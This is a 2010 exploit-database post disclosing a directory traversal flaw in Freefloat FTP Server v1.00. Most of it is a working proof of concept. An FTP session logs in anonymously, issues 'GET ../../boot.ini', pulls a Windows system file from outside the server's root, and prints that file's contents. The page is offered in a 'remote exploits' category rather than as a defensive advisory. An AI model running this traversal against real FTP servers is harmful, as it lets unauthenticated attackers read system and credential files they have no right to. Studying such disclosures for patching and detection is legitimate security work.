[remote exploits] - Freefloat FTP Server v1.00 Remote Direct
Posted on 06 December 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Freefloat FTP Server v1.00 Remote Directory Traversal | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Freefloat FTP Server v1.00 Remote Directory Traversal by Pr0T3cT10n in remote exploits | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>===================================================== Freefloat FTP Server v1.00 Remote Directory Traversal ===================================================== # _ ____ __ __ ___ # (_)____ _ __/ __ / /_____ ____/ / _/_/ | # / // __ | / / / / / //_/ _ / __ / / / / / # / // / / / |/ / /_/ / ,< / __/ /_/ / / / / / # /_//_/ /_/|___/\____/_/|_|\___/\__,_/ / /_/_/ # Live by the byte |_/_/ # # Members: # # Pr0T3cT10n # -=M.o.B.=- # TheLeader # Sro # Debug # # Contact: inv0ked.israel@gmail.com # # ----------------------------------- # Freefloat FTP Server is vulnerable for a path traversal, the following will explain you how to read files # The vulnerability allows an unprivileged attacker to read files whom he has no permissions to. # The vulnerable FTP command are: # * GET - Read File #----------------------------------- # Vulnerability Title: Freefloat FTP Server v1.00 Remote Directory Traversal Vulnerability # Date: 06/12/2010 # Author: Pr0T3cT10n # Software Link: http://www.freefloat.com/software/freefloatftpserver.zip # Affected Version: 1.00 # Tested on Windows XP Hebrew, Service Pack 3 # ISRAEL, NULLBYTE.ORG.IL ### C:Documents and SettingsAdmin>ftp 127.0.0.1 Connected to 127.0.0.1. 220 FreeFloat Ftp Server (Version 1.00). User (127.0.0.1:(none)): anonymous 331 Password required for anonymous. Password: 230 User anonymous logged in. ftp> GET ../../boot.ini 200 PORT command successful. 150 Opening BINARY mode data connection for oot.ini(211 bytes). 226 Transfer complete. ftp: 211 bytes received in 0.00Seconds 211000.00Kbytes/sec. ftp> bye 221 Goodbye C:Documents and SettingsAdmin>type boot.ini [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect # <a href='http://1337db.com/'>1337db.com</a> [2010-12-06]</pre></body></html>
